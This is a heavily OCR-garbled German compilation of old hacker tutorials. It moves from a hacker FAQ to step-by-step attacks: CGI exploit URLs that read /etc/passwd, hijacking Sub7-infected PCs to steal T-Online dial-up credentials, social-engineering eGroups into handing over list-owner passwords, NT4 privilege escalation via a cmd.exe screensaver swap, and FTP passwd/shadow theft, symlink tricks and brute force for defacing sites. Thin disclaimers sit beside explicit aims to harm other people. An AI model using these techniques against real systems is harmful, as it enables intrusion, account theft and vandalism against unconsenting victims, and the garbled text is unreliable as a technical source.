bekome ich jede Wche nehrere Anfragen von Leuten, die mich bitten, ihnen
"al | es Ubers Hacken bei zubri ngen". Ungl tcklicherwei se, habe ich weder genug
Zeit, noch Energie umdies zu tun, neine eigenen Hacker-Projekte

ver brauchen 100% nei ner Zeit und wol |l en noch viel mehr. Selbst wenn ich
Zeit und MiuRRe hatte, Hacken ist eine Einstellung und eine Fertigkeit, die
du dir einfach sel bst bei bringen nu3t. Du wirst herausfinden, dall echte
Hacker bereit sind dir zu helfen, du darfst nur nicht erwarten, daB sie

di ch beachten, wenn du darum bettelst, all ihr Wssen zu bekonmen. Lerne
zuerst ein wenig. Zeig das du es wirklich versuchst, zeig, dal du wirklich
fahig bist, selbstéandig zu | ernen. Dann besuche di e Hacker, die dir

ent sprechen und frage sie. (Annerkung des Ubersetzers: Bitte fragt auch
mch nicht, wie man ein Hacker wird, 1. bin ich keiner, 2. bin ich schon
dabei, alles was ich Uber Conputer und Programmi erung wei 3, hier auf dieser
Seite zu veroffentlichen.) F W kann ich richtig Hacker finden, ummich nt
i hnen zu unterhalten? A Eins ist sicher, nicht imIRC (Internet Relay Chat)
- das ist was fiar Flanmer und Cracker. Der beste Wg ist es, eine UN X oder
Li nux Benutzer G uppe in deiner Nahe zu finden und zu ihren Treffen zu
gehen (es gi bt ein Verzeichnis auf der Linux Users' Goup Page). F Wl che
Progranmi ersprache soll ich als erste lernen? A HTM.,, wenn du es inmrer noch
ni cht wei Bt. Es gi bt Unnengen schl echter HTM.-Bicher da drauf3en und
besor gni serregend wenig gute. Ich enpfehle: HTM.: The Definitive Quide
Wenn du bereit bist, mt echter Progranm erung zu begi nnen, wirde ich Perl
oder Python enpfehlen. Cist sehr wichtig, ist aber auch sehr viel
schwerer. F We kann ich anfangen? W bekome ich eine kostenl ose UNI X -
Version her? A lrgendwo auf dieser Seite habe ich einen Zeiger installiert,
wi e man an Linux rankonmt. Um ein Hacker zu sein, brauchst du Mtivation
Initiative, sowi e die Eigenschaft eigenstandig zu | ernen. Begi nne JETZT..

47



Testen der Sicherheit der eigenen Wbsite:

Testen der Sicherheit der eigenen Wbsite und der einbruchs sicherheit des
Servers auf dem die Daten gespeichert sind. Das ganze is zienlich Basic

so richtig Basic und richted sich wirklich nur an Newbies. .

Datei : v.1.2 Index :

1.- Javascript passwort abfragen in der WbPage.

2.- CG Bugs auf dem Server. Lokalisiern und Testen. Zu aller erst sollte
gesagt sein das dieses File nur Geschrieben wirde

um di e Sicherheit der eigenen Wbsite und des Benutzten fil eservers zu
testen. Ich Trage keinerlei Haftung fur irgend wel che Schaden di e aufgrund
di eser Informationen entstehen... 1. Javascript passwort abfragen in der
WebPage

Imrer wen mir langweilig ist schreib ich kleinere Javascripts und wen ich
irgendwi e nir anregungen holen will dan kuck ich bei javascripts.com.
Al's ich mal w eder bei Javascripts.comdurch die gegend gesurft bin hab ich
gesehn das es dort Javscripts gibt die deine WbPage "Passwort™ sichern
soll en. Meine WebPage , mit Passwort gesicher? klingt doch toll !'! FALSCH
ni cht wen das ganze nmt so einem Javscript passiert , und hier warum:
Numrero Uno ist , Javscript ist eine Scripting sprache d.H sie nuss direkt
in den quell text eingegeben werden das w ederum hei sst das jeder den quel
t ext
(vorausgeset zt er kann ein kleines bischen HTM. und Javascript!) |esen und
das
Passwort rausfinden. Mal gans davon abgesehn das di e ganze Passwort abfrage
nur Gber ( Je nach Javascript Version !) Switch/case oder if/else
fal |l unt er schei dungen
laufen. Hier mal ein kleines beispiel fir so eine "Passwort abfrage"
<SCRI PT | anguage="JavaScri pt"> passwort =wi ndow. pronpt ("Bitte
Passwort ei ngeben.",""); i f (passwort=="h9J7K3Hds")
{
alert("Das von ihnen ei ngegebene Passwort"<br>"ist Korrekt!");
| ocation. href ="t arget. ht ni

}

el se

al ert ("Das von i hnen ei ngegebene"<br>"Passwort ist Fal sch!");
| ocati on. href =" nei n. ht ni
} </SCRIPT> Ich wirde nmal sagen , jeder der ein bischen |ogisch

denken kann wei B spéatestens jetzt
war um man von sol chen arten von scripts , die das Passwort intern speichern
, die finger
| assen sollte. Ein Normal er Internet Benutzer komt natirlich nicht auf die
idee die seite
zu editiern , warumauch er wei B ja nicht wie, aber jeder andere nensch
(m ch eingeschl ossen)
wirde sofort di ese kleine Dumrheit ohne erbahnmen ausnutzen... =) aber da
i ch euch nicht
einfach so imwi nd stehen | asse, zeig ich euch ein zweites bei spi el
Ein Javscript was ein freund von mr , DukeCS von der Kryptocrew, mr
zugeschi kt hatt !
Es ist meiner meinung nach mt das einzigste Javascript was mr in die
Fi nger gekomen
i st was auch was tauch ..... Hier der Source... ------- HTML Quel |l code ----
<center> <p> <b>
<font face="Verdana">

<f ont col or="#000000" >

<font size=+1>
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Pl ease enter correct passwort
</ font>
</ font>
</ font>
</ b> <FONTCOLOR="#000000" >
<forme </center> <center>
<t abl e>
<tr>
<td>
<i nput TYPE="Text" NAME="i nputbox1" SIZE="12" MAXLENGTH="12">-<i nput
TYPE="Text" NAME="i nput box2" VALUE="4" S| ZE="2" MAXLENGTH="2"></t d>
</[tr> <tr>
<td ALI GN=CENTER><i nput TYPE="button" NAME="button" Val ue="Submt"
onCl i ck="t est Encode(this.form"></td>
</tr>
</ tabl e>
</ center> <center>
</ fornp
</ cent er > </ body>
<script LANGUAGE="JavaScript"> <!--
function testEncode(form {
var Ret = encode (forminputboxl.val ue, forminputbox2.val ue)
location = Ret + "z. htni
} function encode (OrigString, G pherVval) {

Ref =" 1029384756qpwoei r ut zal skdj f hgymxncbv. _~QPWOEI RUTZAL SKDJ FHGYMXNCBV"
Ci pherVal = parselnt (G pherVal)
var Tenp=""
for (Count=0; Count < OigString.length; Count++) {
var TenpChar = OigString. substring (Count, Count+1)
var Conv = cton(TenpChar)
var C pher=Conv~C pher Va
Ci pher =nt oc( Ci pher)
Tenmp += G pher

}

return (Tenp)
} function cton (Char) {

return (Ref.indexO(Char));
} function ntoc (Val) {

return (Ref.substring(Vval, Val+1))
}

[l --><[script> --------- HTM. Quellcode --------- Das ei ngegebene
Passwort wird durch einen algorihtnus gejagt , dem end-ergebnis wrd

dan einfach ein "z. htm' angehdngt und nach der site wird dan gesucht d.h.
di e einzigste

nmbgl i chkeit di es Passwort abfrage zu knacken ist nmir einer Bruteforce

nmet hode. Und es

gibt ja nur allein 9 999" 999' 999' 990 verschi edene noglichkeiten wen man NUR
zahlen im

Passwort benutzt , man kann natirlich aber acuh noch Buchstaben einflgen..
und dan

wirds richtig spassig.. also. Ich hoffe das dieser abschnit euch ein wenig
uber die

Ri chtige einsetzung von Passwort abfragen die in Javascript geschrieben
sind...... 2. CE@ Bugs auf dem Server. Lokalisiern und Testen

Nuhn da wir gekl art haben das wir keinerlei PWabfragen in Javscript auf
die Seite stellen sollten wir uns den CG Bugs ndhern. Was sind CG Bugs ?
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CG Bugs das sind fehler in CG@ Scripts die auf dem Server im/Cgi-bin

ver zei chni s

gel agert sind , diese scripts sind z.B dazu da Counter zu betrei ben jedoch
kann man , sofehrn ein Fehler vorhanden ist, einzelne CG Bugs auch zu
anderen dingen wie z.B

dem oef fnen von Datein oder dem ausfidhren von Progranmmen auf dem Loakel n
Server

benutzen.... We finde ich CG Bugs auf meinem Server ?

Di e ei ne Met hode wadhre das man sich hinsetzt und ei nen Bug nachei nander
ausprobi ert

das ganze kann aber ne ganze weile dauern , ne alternative dazu wahre eine
¢ Programm

was das CG -bin verzeichnis des Servers abfragt und uns dan erzahlt was fur
CG Scripts auf dem Server gel agert sind. Hier der Source Code zu ei nem CG
Scanner

(Ich hab | eider keine planung in wie Fehrn der Uptodate is , kuck einfach
imnetz

nach dem neusten!!! ).... H er der Source von einem neiner Favroit
Scanner.... CG Scanner v1.51.1 von CKS & fdisk in datei cgichkl 51 _1.c
...nun duarftet ihr, nach demihr den Scanner benutzt habt,

eine liste mt den auf dem Server benutzten CG's vor euch haben,

uch werde hier nicht die Beschreibungen zu all den 71 CG s und was nan da
mt machen

kann rein schreiben aber ich werde ein par der basics aufzehlen.. Der PHF
Bug : Falls ihr auf dem Server das cgi findet benutzt fol gende Befehlszeile
in umauszuprobiern ob es fehlerhaft ist : http:77DOVANTCG -

b1 i/ P 7CBll 1 as=XoWa) bl T/ calt V0] €t ¢/ passvid .. bei DOVAIN traget ihr dan die
Adresse des Servers ein welches zienlich

| ogi sch klingt oder ? Falls ihr nun zugriff auf die passwd und shadow
datei kriegt sollt ihr mal dem betrei ber des Server benachrichtigen ;) Der
PHP Bug : Falls ihr auf dem Server das cgi findet benutzt fol gende

Bef ehl szeil e

in umauszuprobiern ob es fehlerhaft ist : http:7/DOVAINCgi -

bin/php.cgi?etc/passwd ...bei DOVAIN traget ihr dan die Adresse des
Servers ein welches zienmich

| ogi sch klingt oder ? Falls ihr nun zugriff auf die passwd und shadow
datei kriegt sollt ihr mal dem betrei ber des Server benachrichtigen ;) Der
CAMPAS Bug : Falls ihr auf dem Server das cgi findet benutzt fol gende

Bef ehl szeil e

in umauszuprobiern ob es fehlerhaft ist : http:77DONVANTCYI -

Rl el T T e e T T e ]

bin/ canpas?yWal bin/ cat ¥0a/ et c/passwd .. bei DOVAIN traget ihr dan die
Adresse des Servers ein welches zienich

| ogi sch klingt oder ? Falls ihr nun zugriff auf die passwd und shadow
datei kriegt sollt ihr mal dem betrei ber des Server benachrichtigen ;) Der
HTMLSCRI PT Bug : Falls ihr auf dem Server das cgi findet benutzt fol gende
Bef ehl szeil e

in umauszuprobiern ob es fehlerhaft ist : http://7DOVAIN cgi-

binhtnscript?/etc/passwd ..bei DOVAIN traget ihr dan die Adresse des
Servers ein welches zienlich

| ogi sch klingt oder ? Falls ihr nun zugriff auf die passwd und shadow
datei kriegt sollt ihr mal dem betrei ber des Server benachrichtigen ;)
Falls ihr zu den anderen Bugs infos sucht dan geht am besten zu

Packet Storm Security ... iP : 209.143.242.115

ich hoffe das Files hatt euch ein kleines stickchen weiter gebracht.
Keep on Readi ng.. ToXi CFi Re

ToXi CFi Re@nx. net Special Geetz inthis file
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http://DOMAIN/cgi-
bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd
http://DOMAIN/cgi-
bin/php.cgi?/etc/passwd
http://DOMAIN/cgi-
bin/campas?%0a/bin/cat%0a/etc/passwd
http://DOMAIN/cgi-
bin/htmlscript?/etc/passwd
http://www.kryptocrew.de

We man an einen T-Onli ne Account kommt:

Geschadigt wird der user, nicht T-Online. So was wir bendtigen

sub?

t-online software

ca. 30-60 minuten zeit so als erstes starten wir mal sub7 und gehen zumip
scanner .

dort gibt man denn die ip nunmern an von wo bis wo gescannt werden soll
t-onliner bekonmen bei mei nwadhl en oft die ip die so beginnt: 62.158. XxXX. XXX
so al so geben wir beimersten eingabefeld "62.158. 1. 255

imzweiten feld geben wir "62.158.200. 255" ein.

wenn di e neldung kommt: "invalid..." dann nusst halt ne kleinere range zum
scannen benut zen. dann nehnt ihr einfach die ip's und versucht euch nit
denen zu connecten. dann wirst du aber feststellen das die neisten server
mt einem passwort geschitzt sind. versuchs in diesemfall nmt den
passwirtern "passwort" "code" "sub7" "trojaner"

oder so... nach ca. 45 minuten (neist aber friher) nilisste euch auch mal ein
infizierter in die hande geraten der nicht passwortgeschitzt ist. in diesem
fall ist es ein |leichtes spiel einfach seine t-online daten zu

erschniuffel n. das erste was du machst ist dann auf "advanced" und denn auf
"passwords" so nun noch auf "cached passwords" klicken und es 6ffnet sich
ein fenster und du klickst auf "save". die txt datei gedffnet kdnnte dann
so aussehen: (die daten hab ich verandert)

*Rna\ Yahoo! Onli ne\yahoo: yahoo

*Rna\ T- Onl i ne\ 000228397485320013602479#001: 02395623

MAPI :  MAPI

ja also die t-online nunmer ist also 320013602479

di e anschl usskennung i st 000228397485

naja ah und das passwort...ihr w sst schon...02395623 an dieser stelle
nmichte i ch noch erwdhnen das ich noch nie (!!!)

auf kosten anderer imnetz war! so nun nusst du nur noch die t-online
software mt den daten fittern und

du koénntest theoretisch auf kosten anderer imnetz sein..

aber wenn ihr noral habt dann nmacht ihr das natirlich nicht sondern
entfernt den server vom opfer, oder warnt ihn. also nochmal!!! ich wollte
ni emanden anstiften hier irgendjenmand zu schaden

oder sowas! es soll nur zeigen wie einfach es ist t-online accounts zu
konmen. und das unter win... :) und vergesst nicht... das ist |LLEGAL!!!
ich bin fur nichts verantwortlich
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We man ne egroups.com Mailinglist hacktglist:

DI SCLAI MER

Al'le hier genannten Informationen sind |ediglich aus dem Zweck

zusanmenget ragen worden, um ei nen Ueberblick zu geben, was noeglich ist.

Ni emand soll angestiftet werden, weder bei Egroups.com noch bei irgendei nem
anderen Anbi eter von webbasierten Miilinglisten, frende Daten
auszuspi oni eren oder sonst irgendetwas | LLEGALES zu tun. Der Autor dieses
Textes ist nicht verantwortlich fuer Schaeden die i mZusammenhang mit den
hi er genannten I nformati onen entstehen

# THEMA "HOW TO CRACK AN EGROUPS. COM MAI LI NGLI ST"

Zuerstei nmal nuss ich sagen, dass es hier keineswegs eine Anleitung gibt,
wi e man sich unerlaubt in den Egroups.com Server einloggt oder aehnliches.
Vi el mehr beschrei be ich einen Weg wi e man an das Benut zer passwort ei nes

Li stenmasters, ohne auch nur einmal in irgendwel cher Gefahr zu sein von dem
Si cher hei t sdi enst oder der Polizei geschnappt zu werden, herausbekomt. Was
braucht man als Grundl age: - die Adresse irgendeiner Miilingliste be

Egr oups. com (ei nfach auf Egroups.com gehen und ein bisschen i mlnhalt
suchen; wenn i hr was gefunden habt, dann kann es | os gehen) - z.B

bl abl a@qgr oups. com - ihr solltet den Name der Person kennen, die die
Mailingliste verwaltet Das war alles was ihr benoetigt.

# SCHRITT EINS: | NFORVATI ONEN SAMVELN

Jetzt geht es los. Versucht soviele Informationen wi e noeglich ueber den
Verwal ter der Mailingliste herauszubekomren (schaut euch die Info-Seite
der Mailingliste an). Es ist von Vorteil wenn ihr auch die Email-Adresse
des Milinglistenverwalters herausbekonmt.

z.B. kevin_|listmaster bl abl a@rovi der.com

Habt ihr all di eses herausbekommen dann koennt ihr zu Schritt zwei

ueber gehen.

# SCHRI TT ZWEl . FAKE- EMAI LACCOUNT EI NRI CHTEN

Ri chtet euch nun bei irgendeinem Gratis Enmil adressenanbieter (z.B

Hotmai |, GWX de) eine Email - Adresse ein. Verwendet bei der Anmel dung N CHT
euren ei genen Name und auch nicht eure eigene Adresse etc. (ihr wollt ja
anonym bl ei ben). Am Besten waehlt ihr eine Adresse, die ein bisschen zu dem
Nane des Listenmasters der Mailingliste passt die ihr knacken wollt.

z.B. kevin_blabl a@otnail.com.

# SCHRI TT DREl: BEI EGROUPS NACHFRAGEN

Jet zt gehts zur Sache. Schreibt von eurem neu eingerichteten Email-Account
aus an den Webnaster von Egroups.com |hr koennt auch an hel p@groups. com
schrei ben, irgendjemand wird euren Brief auf jeden Fall |esen und
bearbeiten. Als Text der Email schreibt ihr, dass ihr euer Passwort

ver gessen habt.

Bei spi el !'!

Dear Sir or Madam

|
|
| nmy name is <Nane des Milinglistenmasters>. M/ request

| is really inportant for ne.

| I ama owner of a mailinglist at egroups.com The nane of

| the list is <Name der Liste und die Adresse>.

| I wanna change sonme settings, but | can't log in because

| I have lost ny password for the account.

| For this reason | have typed ny Enmiladress in the form at

| your website, so that my login informations send again to

| my Enmiladress that |'ve entered at sign up

| This was 5 days ago, but | don't get again ny informations.
| The problemwhy: ny enmiladress (that | entered at sign up)
| dosn't work. | amnot |onger a nenber of the provider, they
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| hosted the adress, and so | don't get the informations. [
| Would you be so kind, send the infos to ny new adress

| <Die Adresse die ihr angenel det habt z.B.

| kevin_bl abl a@otnail.con. |
| Thanks alot. Yours, Kevin... |

Wenn | hr euch nicht allzu dumm angestellt habt, dann habt ihr Q& ueck, und
Egroups schi ckt tatsaechlich das Passwort an die von euch angegebene
Adresse. Am Besten denkt ihr euch eine andere Geschichte aus, die ihr dem
Webnast er (oder hel p) schreibt. Urso realistischer sie klingt, um so

wahr schei nli cher ist, dass ihr das Passwort bekomt.

# SCHRI TT VI ER. El NLOGGEN

Wenn i hr tatsaechlich das Passwort bekommen habt rnuesst ihr schnel
handel n. Es ist zwar unnoeglich, dass der echte Listennmaster etwas von der
ganzen Sache m tbekommt, doch wer weiss. Ihr |oggt euch nun al so ueber
Egroups. com ein, und aendert als erstes einmal das Userpasswort der
Mailingliste. Nun ist sie voll und ganz unter eurer Kontrolle.

Was i hr als naechstes macht ist euch ueberlassen. |hr koenntet

z.B. diverse Mtglieder aus der Liste |oeschen, oder einfach nmal aus
Spass die Liste mt sinnlosen Emails bonbardieren ("I've take over this
mai linglist. Al nenbers wanna die!"). *lol* CQder denkt euch irgendetwas
anderes aus. lch finde die ganze Sache jedenfalls recht wtzig.

# SCHLUSSWORTE
| hr habt gesehen, man nuss nicht inmer in einen Server eindringen um
Schaden anzurichten. In vielen Faellen reicht schon ein bi sschen Phant asi e.

Lokal en Adm nRechte an ei nem W n-NT4 Rechner holt:

We hole ich mir | okale Adm nRechte an ei nem W n-NT4 Rechnerlein der durch
die Policy total zugenagelt wurde??
Bei spi el

- imArbeitsplatz keine lcon"s zu | okal en LWen

- kein Explorer

- kei ne Shel

- keine rechte Maustaste nehr...

- Button "Neuer Task" im Task-Manager ist tot..

- Startnment ist kastriert wie die S%u

usw. ganz einfach Mcrosoft sel bst 6ffnet alle Wge :0)

Nunber 1:
In M5 Word ein Macro schreiben das dir di e Dos-BoxXx offnet... :0)

Nunber 2:

In M5 Qutl ook97 (unter Qutlook 2000 funzt es leider nicht) unten |inks den
Button "Weitere Verknupfungen"" wdhlen -> jetzt auf den Button "Favoriten"”
und huch sieh da die ganze Platte ist sichtbar :0). Schnell die

"expl orer.exe" und/ oder die "cnd.exe" starten. Nun die Datei "cnd. exe"
ins Verzeichnis \%ystendir%systenB82 unter neuem Nanen als "l ogon. scr"
kopi eren. Jetzt ausloggen und 15 min. warten ... und siehe da
*zauberschl onz* die Dos-Box ist da... :0) Jetzt einfach mit "nusrngr.exe"

ei nen neuen User anlegen mit SuperHar dCoRe- Adni nr EchTen. .
Und nun kann der h@k i m Netz kann weitergehen :o
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Hacken ei ner FTP-Site:

I nhal t:

1) Cgi - Bugs

2) Ft p- Usage und Passwd- Downl oad
3) Password und ShadowFil e

4) Loops
5) Br ut ef or ce- Hacki ng
6) Zi el

7) Zeit So, jetzt aber |os.

I hr hattet doch sicher schonmal diesen Augenblick, wo ihr auf eine Seite
gesurft seid und dachtet: "Man ist das eine besch... Seite" und ihr euch in
euremtiefsten I nneren winscht, das diese Seite aus dem Wb verschw ndet,
oder? ;-)Kein Problem we ihr das schaffen kénnt werde ich euch jetzt
beschr ei ben.

1) Cgi - Bugs:

Bei m Hacken einer FTP-Site ist die eleganteste Art Zugriff zu erlangen

di ej eni ge, dalR man versucht sich die

jeweilige Passwort-File herunterzul aden und sich die Passwoirter
anzuschauen. Das ist natiurlich nmeistens nicht so einfach wie es sich
anhoért, aber ich werde euch einige Miglichkeiten aufzeigen wie dies mt ein
bi sschen Ehrgeiz zu schaffen ist. Also, als erstes solltet ihr die

si mpel sten Miglichkeiten (die neistens sow eso nicht funzen) ausprobieren
Da gi bt es die Cgi-Bugs. Ich habe nmal die glaube ich bekanntesten Bugs
aufgelistet.... PHP Bug:

Http: 11V CTINE DOVAL N el - bi n/'phip. €di 7/’ et ¢/ passwd PHFE Bug:
Http: [/VICTINS DOVAL N/ cgi - bl n/ phf 7Qel 1 as=x%8al bi n/ cat Y20/ et ¢/ passwd HTM.-
SCRIPT Bug: http://VI'CTT' M- DOVAI'N cgi -bi i/ ht'ml scri'pt 7/’ et c/'passwd Venn i hr

G uck habt konnt ihr euch damit die Passwort-File anschauen. Nun noch ne

kl ei ne Erkl &ung... Also Cgi-Bugs sind fehler imCgi-Script, auf die ich
hier nicht weiter eingehen niochte. Allerdings gibt es Programe, die Pages
auf Fehler im Script untersuchen...ihr kénnt ja mal nach nem Script fir ein
sol ches Progranm bei astal avi st a. box. sk suchen. Annerkung: Sollte die
Passwort - Dat ei shadowed sein, wie weiter unten beschrieben, probiert die
Bugs einfach mal nit shadow anstelle von passwd. Solltet ihr euch mt

di esen Bugs di e Password-Fil e ansehen kénnen, zieht sie euch auf eure HD
Dann konnt ihr gleich zu Schritt 3 weiterspringen! Sollte ihr keinen Erfolg
haben, nicht verzweifeln, wir sind noch nicht am Ende! ;-)

2) Ftp-Usage und Passwd- Downl oad:

Nun sollten wir versuchen uns als Guest-User in das frende System

ei nzul oggen. Dazu rufen wir di e Dos-Ei ngabeauf forderung auf und geben ftp
ein. Jetzt sollte statt C\ nurnoch ftp> da stehen. Warun??

Ja, ihr seid imFtp-Mdus von Dos. Euer Sytemist jetzt bereit sich mt
anderen Servern zu unterhalten. Al so geben wir i hmauch die Mglichkeit
dazu! Dazu braucht ihr bloRR open ftp. VI CTI M5-DOVAI N ei ngeben. Falls die
Homepage die i hr hacken wol It al so Mvw. TucKupl anmer’s.

dann ei ngeben: open ftp.fuckupl aners.de Nun sollte eine BegrifRung des
Servers kommen. . ... ja ihr seid connectet! ;-) Darauf solltet ihr

auf gef ordert werden euren Benutzernamen ei nzugeben. Probiert hier nal
anonynous oder guest. Dann solltet ihr aufgefordert werden eure E-Mail als
Kennwort fir den Quest-Login einzugeben. Da gebt ihr dann natirlich nicht
eure echte an, ware ja dummgelle? :-) Wenn ihr das alles befol gt habt und
dort ' Quest login ok ' (oder Sinngleiches) steht wund ihr w eder das
Pronmpt ftp> vor euch habt seid ihr schon einen Schritt dichter an eurem
Passwort (toll was?:-) ) Also ihr seid jetzt im System und habt den Pronpt
vor euch. Was wolltet ihr denn jetzt? Ach ja, ihr wolltet das Passwort-File
runt erl aden. Dazu wechselt ihr nmit dem Befehl 'cd etc' in das Verzeichnis
etc . Dort sollte sich die Passwort-File befinden

Al'so gebt ihr 'get passwd' ein und betatigt die Enter -Taste.
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Nun sollte er die Passwd heruntergel aden haben, und wir verlassen jetzt
schnell w eder das System (mt dem Befehl close) wozu noch dumm auffallen
was? :-)

3) Password und Shadow Fil e:

Dann o6ffnen wir die File mt unserem Editor und sehen etwas was z.B. so
aussehen konnte: Root:azbnfgf:0:0::/usr/ markus:

nmoni ka: ZaDsr 5er 7: 10: 100: : / usr/ manf r ed:

fred: yxzdkgt 7: 11: 100: : / usr/ noni ka: :

ni kl as: Opunku(7: 12: 100: : / usr/ peter::

kurt: UKSBkd&oTEl : 13: 100: : / usr/ Kkl aus:

har al d: 7GS7&4y: 14: 110: : /usr/ harry:/bin/csh: Also die Strukturierung einer

PWFile ist eigentlich denkbar einfach... Benutzernane : (verschlisseltes)
Kennwort ...der Rest ist vorerst nicht so wchtig (Wssbegi erdi ge kénnen
mailen....) Also ware jetzt z.B. ein Benutzername Root und das dazugehdri ge

Passwort azbnfgf ! Aber azbnfgf sieht doch kom sch aus, oder? ;-)

Das |iegt daran, daB es noch verschlisselt ist (aha!), also besorgt ihr
euch einen Passwort-File Cracker wie z.B. John oder Jack (Schaut doch mal
bei astal avi sta. box.sk ) und einen Dictionary-Mker. Damt crackt ihr nun
die Password-File und solltet ein giltiges Passwort erhalten. Die Passwort-
File (passwd) kann aber auch anders aussehen (was auch nei stens der Fal
ist), namich so

Root:!:0:0::/usr/ markus:

nmoni ka: !:10: 100: : / usr/ noni ka: :

fred:!:11:100::/usr/fred:

ni kl as:!:12:100::/usr/nikl as:

kurt:!:13:100::/usr/kurt::

haral d:!:14:110::/usr/harald:/bin/csh: I hr seht, anstelle des

Verschl issel ten Passwortes steht jetzt ein Ausrufungszeichen

Es konnte stattdessen auch ein * |, eine # oder ein x stehen, was von der
Versi on des Ftp-Systens abhangt (zu sehen bei der BegrifRung).

Di ese Pl atzhalter bedeuten, daR die Passwbrter shadowed sind und in einer
anderen Datei aufbewart werden di e neistens den Besuchern nicht zur
Ver f lgung steht. Trotzdem probieren wir natdrlich sie zu bekonmen! ;-)

Al so, zurick in den Ftp-Mdus von DOS. Dann verbinden wir uns wi eder nit
dem Server und | oggen uns ein. In welches Verzeichnis wir jetzt wechseln
hdngt vom System ab... Wher weiss ich denn um wel ches System es sich
handel t? Das erzahlt uns das jeweilige System bei jedem Login auf ihrem
Ft p- Server. (bl 6éd wa?) :-) Al so gut aufpassen bei der BegrifRung!

Und das sind die jeweiligen Verzeichnisse der Systene:

System Pf ad Zei chen
EE IR R S I I I R R R R I I R I Rk I R R R I I I I R O I I R
SunCS 5. 0/ et ¢/ shadow

EP/ | X/ et c/ shadow X

System Rel . 4.0 /etc/shadowx

I RI X 5/ et ¢/ shadowx

HP UX/ . secur e/ et c/ passwd*

BSD4. 3 Reno/ et ¢/ mast er. passwd*

Li nux1. 1/ et ¢/ shadow*

Convex(CS 10/ et ¢/ shadpw*

ConvexOS 11/ et ¢/ shadow*

DG UX/ et c/tcb/ aal user/*

Al X 3/etc/security/ passwd !

Mt ein wenig nehr @ ick als bei den bisherigen Versuchen sollte er jetzt
di e Shadow Datei nit den Passwdrtern herunterl aden. Wenn di e Shadow- Dat ei
oder sogar die Passwd-Datei marked sein sollte haben wir |eider keine
Mogl i chkeit auf einfachem Wege an di e Passwort-Datei des Servers
heranzukommen. Aber wir haben i nmer noch einen auf Lager, bis wr
schlieBlich auf's Bruteforce-Hacking zurickgreifen missen..
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4) Loops:

Nun werden wir es mal mit einem Loop versuchen...

Was Loops sind und wi e sie funktionieren nbchte ich hier auch nicht weiter
erklaren.... (Sonst kann ich bald gleich ein Buch schreiben!) :-) Erstnal
| oggt ihr euch wi e schon bekannt mt anonynous in das System ein. Dann
versucht ihr einen Link zu setzen indemihr fol gendes eintippt:

ypcat /etc/passwd >~/ passwd

rm-f ~/.lastlogin

In -s ~/.lastlogin /etc/passwd Dann loggt ihr euch aus ... und | oggt euch
wi eder ein. Nun misste der Link gesetzt sein und ihr tippt weiter ein:

cat .lastlogin > passwd

rm-f ~/.lastlogin Es klappt aber natirlich nicht auf allen Systenen
(Verdammt, irgendwo nusste doch ein Haken sein!) :-), aber einen Versuch
ist es jedenfalls wert! So, wobei wir dann jetzt auch schon bei m

Br ut ef or ce- Hacki ng angel angt waren (freut euch nicht zu fridh) .... :-)
Anner kung an dieser Stelle: Es gibt auch noch Mglichkeiten sich einen
Logi n zu beschaffen, indem man besti mte C Programe benutzt. Die Scripts
fiar diese Programme nbchte ich nicht mt ins Tutorial einbringen, da ich
gl aube dass es zu viel Platz wegnehnen wirde. Wer die Scripts dafdr haben
mbochte, kann mr ne E-Miil schicken. (byteZucka@nx. net)

5) Brut ef orce- Hacki ng:

Br ut ef or ce- Hacki ng bedeutet nichts anderes als das wir jede Menge
Passwort er ausprobieren. Dazu benétigen wir ein Programm w e z.B. Brutus
oder Unsecure (beides sehr gute Progz !). Dann brauchen wir noch eine
gute(!) Dictionary-Datei. Um diese zu bekommen benutzen wir entweder einen
Di ctionary- Maker (suchen unter astal avista.box.sk), oder wir machen uns
sel bst eine. Dazu ist eine w ederumeine Menge Zeit notwendig, denn ihr
nmisst die Seite regelrecht ausspionieren. D.h. ihr begebt euch auf die

Seite, guckt nach Hobbys, Interessen, Nanmen ....Hierbei findet nman auf den
nmei sten Sites eine kleine Biographie des Wbnasters wel che sehr hilfreich
ist. ;-) Wenn ihr dann nach | anger Arbeit eure Wordlist fertig haben

startet ihr z.B. Unsecure. Dann gebt wir als Host ftp. VI CTI M5-DOVAIN ein.
Al's Benutzernanen wahlt ihr entweder root oder den Nanen des Wbnasters
(falls ihr ihn kennt). Wenn ihr eine Site hacken wollt, die auf einem
anderen Server untergebracht ist, gebt ihr fir den Benutzernanen fol gendes

ein: Bei http://vww. Tuckuplamers.conf'schul'e/, gebt ihr als Benutzernamen
schul e ein! Dann wahlt ihr bei Wrdlist eure zuvor erstellte Wrdlist aus
und klickt weiter unten Dictionary Attack und Reconnect an. Jetzt konnt ihr
den Attack starten. Wenn eines eurer Passwdrter aus der Liste richtig ist,
nmel det euch Unsecure das. Wenn nicht, konmen wir zur letzten Instanz....
Nun bl ei bt euch nurnoch die Mglichkeit alle Buchstabenkonbi nati onen
auszuprobi eren! Dazu klicken wir Dictionary-Attack aus und Bruteforce-
Attack an. |ch kann nur Enpfehlen es bei Kl einbuchstaben zu bel assen, denn
das dauert schon | ange genug! Dann startet ihr w eder den Attack, und nun
kénnt i hr euch erstnmal zurickl ehnen und Uberlegen, wie ihr das Geld fur die

Onli nekosten die jetzt entstehen werden zusamrenkriegt. :-) lch trinke in
sol chen Féllen erstmal n' Bier oder geh Pennen, wie ihr euch die Zeit
vertrei bt bleibt euch sel ber Uberlassen... Wenn derjenige allerdings ein
Passwort gewahlt hat, welches z.B. aghdt23&% | autet, kénnt ihr Bruteforce-
Hacki ng nachen bis ihr verfault, also nicht zu verbi ssen sehen! :-)

6) Ziel

Wenn ein Versuch an das Passwort zu gel angen gekl appt hat und i hr nun
Zugang zum Server habt, kénnt ihr eurer Kreativitat freien Lauf |assen
Aber denkt inmmer dran, als sozialer Hacker sollte man eigentlich den Admin
auf die Sicherheitslicke i mSystem Auf nerksam nmachen. . ...

7)Zeit:

Nun noch einige Hi nweise zum Wann. Am besten i hr sucht euch eine Zeit aus,
zu der der Server nicht Uberwacht wird. Wann ist das?? Ja, Nachts

nat irlich! Aber nicht vergessen, andere Lander andere Zeiten...;-) Das ware
eigentlich alles.....
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Tri pod Accounts hacken:

Ei nl ei tung:

Schonnal jemanden richtig bdse gehasst? Oder eine Page gesehen, die Du
richtig schlecht oder zu offensiv fandest? Wenn es sich um eine Tripod-
Seite handelt, dann hast Du d ick! In diesem Text wirst Du jenes
herausfinden, um Kontrolle Uber einen Tripod-Account zu erhalten!! Es ist
ein sehr einfacher Prozess... es fing alles in einer spaten Nacht an, als

i ch dieses unheinliche Bedirfnis spirte, eine Text-Datei zu schreiben..

